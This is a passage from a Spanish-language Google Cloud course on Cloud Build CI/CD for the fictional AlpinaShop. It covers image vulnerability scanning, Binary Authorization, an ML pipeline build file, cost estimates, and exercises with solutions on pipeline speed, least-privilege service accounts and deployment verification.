Construir la imagen no es lo mismo que construir una imagen segura. El Dockerfile del catálogo no usa root —bien, decisión del módulo 2— pero arrastra decenas de paquetes del sistema base y de PyPI, y cualquiera de ellos puede tener una vulnerabilidad conocida.
Artifact Registry analiza automáticamente las imágenes contra bases de datos públicas de vulnerabilidades, si la API está activada:
gcloud services enable containerscanning.googleapis.com --project=alpinashop-prod
# Consultar el resultado de una imagen concreta
gcloud artifacts docker images describe \
europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:$COMMIT_SHA \
--show-package-vulnerability --project=alpinashop-prodSe puede añadir un paso al pipeline que falle si aparecen vulnerabilidades críticas, y ahí hay que tomar una decisión con la cabeza fría: bloquear por cualquier vulnerabilidad de cualquier severidad genera tantos falsos positivos que el equipo acabará desactivando la comprobación. Un criterio razonable para empezar es bloquear solo las críticas con corrección disponible y revisar el resto periódicamente.
Binary Authorization va un paso más allá y responde a otra pregunta: ¿cómo impido que se despliegue en producción una imagen que no ha pasado por el pipeline? Porque hoy, si alguien con permisos hace kubectl set image apuntando a una imagen construida en su portátil, el clúster la acepta encantado.
El mecanismo son atestaciones: el pipeline firma criptográficamente las imágenes que ha verificado, y una política en el clúster exige esa firma para admitir un despliegue.
flowchart LR
A[Cloud Build:<br/>pruebas OK] --> B[Firma la imagen<br/>atestación 'probado-ci']
B --> C[Artifact Registry]
C --> D{Binary Authorization<br/>en alpinashop-prod}
D -->|Tiene atestación| E[Despliegue admitido]
D -->|Sin atestación| F[Despliegue RECHAZADO]
# policy.yaml (simplificado)
defaultAdmissionRule:
evaluationMode: REQUIRE_ATTESTATION
enforcementMode: ENFORCED_BLOCK_AND_AUDIT_LOG
requireAttestationsBy:
- projects/alpinashop-prod/attestors/probado-ci
clusterAdmissionRules:
europe-west1.alpinashop-cluster:
evaluationMode: REQUIRE_ATTESTATION
enforcementMode: ENFORCED_BLOCK_AND_AUDIT_LOG
requireAttestationsBy:
- projects/alpinashop-prod/attestors/probado-ciEs una pieza de madurez alta y no hace falta implantarla el primer día. Pero conviene entender qué resuelve, porque es la única forma de que la frase "a producción solo llega lo que ha pasado por el pipeline" sea una garantía técnica y no una norma de buena voluntad. La seguridad de la cadena de suministro de software se retoma en 07-04.
- El pipeline de ML del módulo 5, llevado al nivel 2
En 05-07 quedó una punta suelta explícita. El pipeline de recomendación de AlpinaShop está en nivel 1 de madurez: se ejecuta solo, valida solo y decide solo. Pero el código del pipeline —los componentes KFP, la lógica de entrenamiento— sigue subiéndose a mano: Lucía edita el componente, ejecuta el compilador de KFP en su portátil y sube el YAML resultante a Cloud Storage.
El nivel 2 consiste en que un cambio en el código de entrenamiento dispare automáticamente la compilación del pipeline, su ejecución en Vertex AI y, si supera las puertas, el despliegue del modelo. Es exactamente lo mismo que acabas de hacer con el catálogo, aplicado al código de ML:
# cloudbuild-ml.yaml, en el repositorio de ML de AlpinaShop
substitutions:
_REGION: 'europe-west1'
_BUCKET: 'alpinashop-datalake'
steps:
# 1. Pruebas de los componentes: son código Python normal y se prueban igual
- name: 'python:3.11-slim'
id: 'pruebas-componentes'
entrypoint: 'bash'
args:
- '-c'
- |
pip install -r requirements.txt -t /workspace/lib
PYTHONPATH=/workspace/lib python -m pytest tests/ -q
# 2. Construir la imagen de entrenamiento, etiquetada con el SHA
- name: 'gcr.io/kaniko-project/executor:v1.23.2'
id: 'imagen-entrenamiento'
waitFor: ['pruebas-componentes']
args:
- '--destination=europe-west1-docker.pkg.dev/alpinashop-datos/alpinashop/entrenamiento-reco:$COMMIT_SHA'
- '--cache=true'
- '--dockerfile=entrenamiento/Dockerfile'
# 3. Compilar el pipeline KFP a su definición YAML
- name: 'python:3.11-slim'
id: 'compilar-pipeline'
waitFor: ['imagen-entrenamiento']
entrypoint: 'bash'
args:
- '-c'
- |
PYTHONPATH=/workspace/lib python pipelines/compilar.py \
--imagen-entrenamiento=europe-west1-docker.pkg.dev/alpinashop-datos/alpinashop/entrenamiento-reco:$COMMIT_SHA \
--salida=/workspace/pipeline-reco.yaml
# 4. Publicar la definición y lanzar una ejecución de validación
- name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
id: 'ejecutar-pipeline'
waitFor: ['compilar-pipeline']
entrypoint: 'bash'
args:
- '-c'
- |
gsutil cp /workspace/pipeline-reco.yaml \
gs://${_BUCKET}/pipelines/reco/$COMMIT_SHA.yaml
PYTHONPATH=/workspace/lib python pipelines/lanzar.py \
--plantilla=gs://${_BUCKET}/pipelines/reco/$COMMIT_SHA.yaml \
--etiqueta-commit=$SHORT_SHA
timeout: '2400s'Lo importante no es el YAML, es el cambio de comportamiento que produce:
| Antes (nivel 1) | Después (nivel 2) |
|---|---|
| Lucía compila el pipeline en su portátil | Lo compila Cloud Build en máquina limpia |
| Los componentes no tienen pruebas | pytest sobre los componentes en cada cambio |
| La imagen de entrenamiento se etiqueta a mano | Etiquetada con el $COMMIT_SHA |
| Nadie sabe qué código generó qué modelo | El SHA está en el linaje, enlazado con 05-07 |
| Un cambio llega a producción cuando alguien se acuerda | Llega solo, si supera las puertas de decisión |
Y fíjate en la conexión que cierra el círculo: la etiqueta $COMMIT_SHA de la imagen de entrenamiento acaba registrada en los metadatos de Vertex AI Pipelines. Eso significa que, ante la pregunta de auditoría "¿con qué código exacto se entrenó el modelo que hizo esta recomendación?", la respuesta ya no es una conjetura: es un commit concreto que se puede consultar en Git.
- Coste de las compilaciones
El modelo de precios de Cloud Build es simple: se paga por minuto de compilación, y el precio por minuto depende del tamaño de máquina. Hay una cuota gratuita mensual generosa para la máquina por defecto.
Órdenes de magnitud —verifica siempre los precios vigentes en la documentación oficial, porque cambian—:
| Tamaño | CPU / memoria | Coste relativo por minuto | Cuándo |
|---|---|---|---|
Por defecto (e2-medium) |
1 vCPU / 4 GB | Base (con nivel gratuito) | Pipelines cortos |
E2_HIGHCPU_8 |
8 vCPU / 8 GB | ~8× la base | Compilaciones con muchas pruebas |
E2_HIGHCPU_32 |
32 vCPU / 32 GB | ~32× la base | Compilaciones muy paralelizables |
| Grupo privado | Según máquina | Minutos + máquinas reservadas | Acceso a VPC |
Un cálculo orientativo para AlpinaShop: unas 15 compilaciones al día entre pull requests y merges, a 4 minutos de media en E2_HIGHCPU_8, son unos 60 minutos-máquina diarios, en torno a 1.800 al mes. Con la máquina por defecto una parte estaría cubierta por el nivel gratuito; con E2_HIGHCPU_8 el coste mensual está en el orden de decenas de euros. Comparado con el tiempo de ingeniería que ahorra, es de las inversiones más rentables de toda la plataforma.
Las cuatro palancas para controlarlo:
- Caché bien configurada. Es la que más ahorra, y además hace felices a los desarrolladores.
--included-filesen los disparadores. No compiles porque cambió un fichero de documentación.- El tamaño de máquina adecuado. Más grande no siempre es mejor: si el cuello de botella es la red, pagas 8× por el mismo tiempo.
- Un
timeoutsensato. Sin él, una compilación colgada consume hasta 60 minutos antes de rendirse.
Errores Comunes y Consejos
Esperar que un paso vea lo que instaló el anterior fuera de /workspace. Es el error número uno. Cada paso es un contenedor nuevo: lo único que persiste es el directorio compartido. Si instalas dependencias, instálalas con --target=/workspace/... y propaga PYTHONPATH.
Etiquetar con latest. Ya se ha dicho tres veces y se dice una cuarta porque es el error con peores consecuencias: sin etiqueta inmutable no hay diagnóstico ni vuelta atrás. Usa $COMMIT_SHA siempre. Si además quieres una etiqueta legible, añade $SHORT_SHA o una versión semántica junto al SHA, nunca en su lugar.
Dejar la cuenta de servicio con permisos amplios "hasta que funcione". Ese "hasta que funcione" se convierte en permanente. Empieza restrictivo y añade permisos concretos según fallen los pasos: cada fallo te dice exactamente qué permiso falta, y así acabas con la lista mínima real en lugar de con Editor.
No comprobar que el despliegue converge. kubectl set image devuelve éxito en cuanto Kubernetes acepta la orden. Si los pods nuevos fallan al arrancar, tu pipeline se pone verde mientras la aplicación está rota. kubectl rollout status --timeout=... es obligatorio.
Usar un solo dólar en secretEnv. $MI_SECRETO lo intenta sustituir Cloud Build y lo deja vacío; $$MI_SECRETO llega al shell. Y nunca imprimas el valor: los logs no se censuran.
Copiar el código antes de instalar dependencias en el Dockerfile. Invalida la caché en cada commit. Ordena las instrucciones de lo estable a lo volátil.
Olvidar logging: CLOUD_LOGGING_ONLY al usar cuenta de servicio propia. Fallo inmediato con un mensaje poco descriptivo. Es de los primeros que aparecen al hacer bien las cosas.
Pipelines lentos. Si la CI tarda veinte minutos, el equipo dejará de esperarla y fusionará sin mirar. Trata la duración del pipeline como una métrica de producto: paraleliza con waitFor, usa caché, y si hace falta separa las pruebas rápidas —en cada PR— de las lentas —nocturnas—.
Consejo final: empieza pequeño. Un pipeline que solo ejecuta las pruebas en cada pull request ya aporta la mayor parte del valor. Añade construcción, después despliegue a desarrollo, después promoción a producción. Un pipeline perfecto que tarda tres meses en estar listo pierde frente a uno modesto que funciona el viernes.
Ejercicios
Ejercicio 1: paralelizar y acortar el pipeline
El pipeline del catálogo tarda 9 minutos: instalar 2, pruebas 3, lint 2, construir 2. Marta se queja de que los pull requests tardan demasiado en dar veredicto. Reescribe la sección steps para minimizar el tiempo total, calcula la duración teórica resultante y explica qué otras dos medidas —una en el cloudbuild.yaml y otra en el Dockerfile— reducirían más el tiempo.
Ejercicio 2: diseñar los permisos de un pipeline nuevo
AlpinaShop quiere un pipeline que, al crear una etiqueta Git v*, construya la imagen, la publique en Artifact Registry, ejecute las migraciones de base de datos sobre alpinashop-pedidos en alpinashop-prod y despliegue en producción tras aprobación. Enumera las cuentas de servicio que crearías, los roles exactos de cada una y justifica por qué no usarías una sola. Señala además el mayor riesgo de seguridad del enunciado.
Ejercicio 3: diagnosticar una compilación que engaña
El pipeline lleva dos semanas en verde. Un cliente reporta que el buscador del catálogo falla desde hace diez días. Al investigar descubres tres cosas: la cobertura de pruebas es del 71 % y el buscador no está cubierto; el paso de despliegue termina con éxito pero la versión desplegada en alpinashop-dev es de hace tres semanas; y en producción hay una imagen que nadie sabe de dónde salió. Explica la causa más probable de cada hallazgo y qué cambio concreto en el pipeline habría impedido cada uno.
Soluciones
Solución 1
Pipeline reescrito. La observación clave es que pruebas y lint solo dependen de instalar, no entre sí:
steps:
- name: 'python:3.11-slim'
id: 'instalar' # 2 min
entrypoint: 'bash'
args: ['-c', 'pip install -r requirements.txt -r requirements-dev.txt --target=/workspace/lib']
- name: 'python:3.11-slim'
id: 'pruebas' # 3 min, en paralelo con lint
waitFor: ['instalar']
entrypoint: 'bash'
env: ['PYTHONPATH=/workspace/lib']
args: ['-c', 'python -m pytest -q']
- name: 'python:3.11-slim'
id: 'lint' # 2 min, en paralelo con pruebas
waitFor: ['instalar']
entrypoint: 'bash'
env: ['PYTHONPATH=/workspace/lib']
args: ['-c', 'python -m ruff check catalogo/']
- name: 'gcr.io/kaniko-project/executor:v1.23.2'
id: 'construir' # 2 min
waitFor: ['pruebas', 'lint']
args: ['--destination=${_REPO}/catalogo:$COMMIT_SHA', '--cache=true']Duración teórica: 2 + max(3, 2) + 2 = 7 minutos, frente a 9. Se ahorran 2 minutos, el tiempo del lint, que ahora es gratis porque cabe dentro del de las pruebas.
Se puede hacer bastante mejor. El paso de construcción también depende solo del código, no de que las pruebas hayan pasado. Si lo lanzas en paralelo con waitFor: ['-'] desde el principio, el tiempo total baja a 2 + 3 = 5 minutos. La contrapartida es que construyes una imagen que quizá tires si las pruebas fallan, lo que cuesta 2 minutos de máquina. En un pull request, donde la imagen no se publica, es un intercambio razonable: pagas un poco de cómputo para dar veredicto antes.
Medida en el cloudbuild.yaml: subir el machineType a E2_HIGHCPU_8. Los 3 minutos de pytest suelen ser CPU pura y bajan sensiblemente con más núcleos, sobre todo si además añades pytest -n auto con pytest-xdist para paralelizar las pruebas dentro del paso.
Medida en el Dockerfile: reordenar para que COPY requirements.txt y la instalación vayan antes de COPY . /app. Con kaniko y --cache=true, la capa de dependencias se reutiliza en todas las compilaciones donde no cambien las dependencias, que son la inmensa mayoría, y los 2 minutos de construcción se convierten en segundos.
Y el consejo que envuelve todo el ejercicio: mide antes de optimizar. La consola de Cloud Build muestra la duración de cada paso; los 9 minutos podrían ser 7 de descarga de una dependencia gigante, y en ese caso ni el paralelismo ni la máquina grande cambiarían nada.
Solución 2
Cuatro cuentas de servicio, una por responsabilidad:
| Cuenta | Roles | Ámbito |
|---|---|---|
sa-build-catalogo |
artifactregistry.writer, logging.logWriter |
Repositorio alpinashop en alpinashop-prod |
sa-migraciones-prod |
cloudsql.client, secretmanager.secretAccessor sobre db-password-catalogo |
Instancia alpinashop-pedidos |
sa-deploy-prod |
container.developer |
Solo el proyecto alpinashop-prod |
sa-build-dev |
artifactregistry.writer, container.developer en alpinashop-dev |
Entorno de desarrollo |
Por qué no una sola: porque una cuenta única sería la unión de todos los permisos, y cualquier paso del pipeline podría hacer cualquier cosa. Con la separación, el paso que ejecuta las pruebas no puede tocar la base de datos de producción aunque alguien inyecte código malicioso en él; el paso de migraciones no puede desplegar; el de despliegue no puede leer secretos. Es el mismo principio de segregación de funciones de 03-04, aplicado dentro de un proceso automático. Y hay un beneficio operativo añadido: cuando aparece en los logs de auditoría una operación rara, la identidad te dice inmediatamente qué parte del pipeline la hizo.
El mayor riesgo del enunciado son las migraciones de base de datos, y no es un problema de permisos. Una migración es la operación menos reversible de todo el pipeline: si kubectl set image sale mal, se vuelve atrás en treinta segundos; si un ALTER TABLE borra una columna, los datos no vuelven. Cuatro medidas concretas:
- Copia de seguridad automática y verificada inmediatamente antes de la migración, como paso del pipeline que falla si no se completa.
- Migraciones compatibles hacia atrás: añadir columnas antes de usarlas, no borrar nunca en el mismo despliegue que deja de usarlas. Así la versión anterior de la aplicación sigue funcionando con el esquema nuevo, y la vuelta atrás es posible.
- Ejecutar primero en
alpinashop-devcon una copia reciente de datos de producción, y que la compilación falle si allí no funciona. - Aprobación manual antes del paso de migración, no solo antes del despliegue.
Y una advertencia sobre el disparador por etiqueta: cualquiera que pueda crear una etiqueta v* en el repositorio dispara este pipeline. La protección de etiquetas en Git es tan importante como la de ramas, y es un tema de 06-02.
Solución 3
Hallazgo 1: cobertura del 71 % con el buscador sin cubrir. La causa es que el umbral --fail-under=70 está midiendo lo que no importa: mide el porcentaje global de líneas, y un porcentaje global alto es perfectamente compatible con que las partes críticas estén al 0 %. El pipeline estaba en verde diciendo la verdad sobre una métrica irrelevante.
Cambio concreto: umbrales por módulo además del global, exigiendo cobertura alta en los paquetes críticos:
python -m coverage report --fail-under=70
python -m coverage report --include='catalogo/buscador/*' --fail-under=85Y, más importante que el umbral, una prueba de humo posterior al despliegue que ejerza los caminos principales de la aplicación contra el entorno recién desplegado. Que el código esté cubierto no garantiza que el sistema funcione; una petición real al buscador, sí.
Hallazgo 2: el despliegue "con éxito" tiene tres semanas. Casi con seguridad falta el kubectl rollout status. Los pods nuevos arrancan, fallan, Kubernetes mantiene el ReplicaSet anterior sirviendo tráfico, y el paso del pipeline terminó con éxito en cuanto se aceptó la orden. Todo verde, nada desplegado. Es el fallo más traicionero de este apartado porque el sistema te está mintiendo activamente.
Cambio concreto: añadir kubectl rollout status deployment/catalogo-web -n tienda --timeout=180s como parte del mismo paso, más una verificación posterior que compruebe que la imagen realmente en ejecución coincide con la esperada:
DESPLEGADA=$(kubectl get deployment catalogo-web -n tienda \
-o jsonpath='{.spec.template.spec.containers[0].image}')
test "$DESPLEGADA" = "${_REPO}/catalogo:$COMMIT_SHA" || { echo "Imagen inesperada: $DESPLEGADA"; exit 1; }Hallazgo 3: una imagen en producción que nadie sabe de dónde salió. Alguien desplegó a mano, saltándose el pipeline. Es lo que ocurre siempre cuando el pipeline no es el camino más cómodo: si el despliegue automático está roto —hallazgo 2— y hay una urgencia, alguien abrirá un terminal.
Cambio concreto: Binary Authorization con atestación emitida por el pipeline, que hace técnicamente imposible desplegar una imagen no verificada. Como medida intermedia mientras se implanta, retirar roles/container.developer sobre alpinashop-prod a las personas y dejarlo solo en sa-deploy-prod, con acceso de emergencia mediante impersonación registrada, tal como se planteó en 03-04.
La lección que unifica los tres hallazgos: un pipeline en verde no significa que el sistema funcione. Significa que las comprobaciones que escribiste han pasado. Si esas comprobaciones miden lo que no importa, si no verifican el resultado real del despliegue y si el pipeline se puede rodear, el color verde es peor que no tener pipeline, porque genera una confianza que nadie ha ganado. Los tres hallazgos, además, comparten un origen común: nadie estaba mirando. Ni las métricas, ni los logs, ni el estado real de producción. Esa es la carencia que se ataca en 06-04 y 06-06.
Conclusión
AlpinaShop ha dejado de desplegar desde el portátil de Dani.
Sabes distinguir integración continua —integrar a menudo y verificar cada integración—, entrega continua —estar siempre listo para desplegar, con un botón— y despliegue continuo —sin botón—, y sabes por qué AlpinaShop implanta las dos primeras y aplaza la tercera hasta tener la red de seguridad que dan las pruebas y la observabilidad.
Conoces el modelo de Cloud Build: una secuencia de pasos, cada uno un contenedor, sobre un /workspace compartido, con la consecuencia práctica de que solo persiste lo que se escribe en ese directorio. Sabes leer y escribir un cloudbuild.yaml campo a campo —steps, name, args, env, id, waitFor, substitutions, images, artifacts, options, timeout—, paralelizar con waitFor porque la velocidad del pipeline decide si el equipo lo usa, y aprovechar $PROJECT_ID y $COMMIT_SHA, con la advertencia de que solo tienen valor cuando la compilación viene de un disparador.
Tienes el pipeline real del catálogo: instalar en /workspace/lib, probar con pytest y un umbral de cobertura que hace fallar la compilación, analizar con ruff y bandit en paralelo, construir con kaniko y caché, publicar en Artifact Registry etiquetado con el SHA y nunca con latest, y desplegar en alpinashop-dev comprobando que el despliegue converge de verdad. Ejecutándose en alpinashop-cicd, el proyecto que por fin tiene sentido.
Sabes por qué tu build tarda ocho minutos y cómo bajarlo: caché de kaniko, --cache-from con su || true, y sobre todo un Dockerfile ordenado de lo estable a lo volátil. Conoces los disparadores por rama, por pull request, por etiqueta y manuales, y el filtro --included-files que evita compilar por una errata en el README.
Y tienes lo que más disgustos evita: la cuenta de servicio de Cloud Build con permisos mínimos, tres roles y ni uno más, porque el pipeline es el sistema con más privilegios de toda la infraestructura y el antipatrón de darle Editor convierte cualquier pull request en un vector de ataque. Sabes inyectar secretos con availableSecrets y $$, sin que acaben en Git ni en los logs. Sabes promocionar en lugar de reconstruir, con aprobación manual y una cuenta de servicio distinta para producción. Conoces los grupos privados para compilar dentro de la VPC, Cloud Deploy para cuando el despliegue se complique con canarios y varios entornos, el escaneo de vulnerabilidades de Artifact Registry y Binary Authorization como única forma de que "a producción solo llega lo del pipeline" sea una garantía y no un deseo.
Y has cerrado la primera punta suelta del módulo 5: el pipeline de ML está en nivel 2 de madurez, con los componentes probados, la imagen de entrenamiento etiquetada con el commit y el linaje respondiendo con un SHA concreto a la pregunta de con qué código se entrenó cada modelo.
Queda, sin embargo, una pregunta incómoda que hemos ido esquivando durante toda la lección. Todo esto se dispara desde un repositorio. ¿Qué repositorio? Porque el código del catálogo sigue viviendo en el portátil de Dani, y hay ficheros de configuración en una carpeta de Drive que alguien compartió hace año y medio. Un pipeline de integración continua sin un control de versiones serio es una casa construida sobre arena.
En 06-02 ponemos el cimiento: repositorios, estrategia de ramas, qué debe y qué no debe estar versionado, y la conversación honesta sobre Cloud Source Repositories frente a GitHub y GitLab.
Curso de Google Cloud Platform (GCP)
Módulo 1: Introducción a Google Cloud Platform
- ¿Qué es Google Cloud Platform?
- Configuración de tu cuenta de GCP
- Descripción general de la consola de GCP
- Proyectos, jerarquía de recursos y facturación
- Regiones, zonas y modelo de responsabilidad compartida
- Cloud Shell y la CLI de gcloud
Módulo 2: Servicios principales de GCP
- Compute Engine: máquinas virtuales en Google Cloud
- Cloud Storage: almacenamiento de objetos
- Cloud SQL: bases de datos relacionales gestionadas
- App Engine: plataforma como servicio
- Google Kubernetes Engine (GKE)
- Bases de datos NoSQL: Firestore, Bigtable y Spanner
- Cómo elegir el servicio de cómputo adecuado
Módulo 3: Redes y seguridad
- Redes VPC
- Balanceo de carga en la nube
- Cloud CDN
- Gestión de identidad y acceso (IAM)
- Cloud Armor
- Secretos y cifrado: Secret Manager y Cloud KMS
- Cloud DNS, certificados TLS y publicación segura de servicios
Módulo 4: Datos y análisis
- BigQuery: el almacén de datos analítico
- Cloud Dataflow: procesamiento de datos por lotes y en streaming
- Cloud Dataproc: Spark y Hadoop gestionados
- Cloud Pub/Sub: mensajería asíncrona
- Cloud Data Fusion: integración de datos sin código
- Orquestación de pipelines con Cloud Composer y Workflows
- Gobierno del dato y cuadros de mando con Dataplex y Looker Studio
Módulo 5: Aprendizaje automático e IA
- Vertex AI: la plataforma de machine learning de GCP
- AutoML: modelos a medida sin escribir código
- TensorFlow en GCP: entrenamiento y servicio de modelos
- API de lenguaje natural
- API de visión
- IA generativa en Vertex AI: modelos Gemini y embeddings
- MLOps: del modelo al producto con Vertex AI Pipelines
Módulo 6: DevOps y monitoreo
- Cloud Build: integración continua en GCP
- Cloud Source Repositories y gestión del código fuente
- Cloud Functions: funciones sin servidor
- Cloud Monitoring (antes Stackdriver): métricas, paneles y alertas
- Cloud Deployment Manager e infraestructura como código nativa
- Cloud Logging y Cloud Trace: logs, trazas y diagnóstico
- Terraform en GCP: infraestructura como código en la práctica
Módulo 7: Temas avanzados de GCP
- Híbrido y multinube con Anthos
- Computación sin servidor con Cloud Run
- Redes avanzadas: VPC compartida, peering y conectividad híbrida
- Mejores prácticas de seguridad
- Gestión y optimización de costos
- Fiabilidad: SLO, alta disponibilidad y recuperación ante desastres
- Gobierno a escala: organización, políticas y auditoría
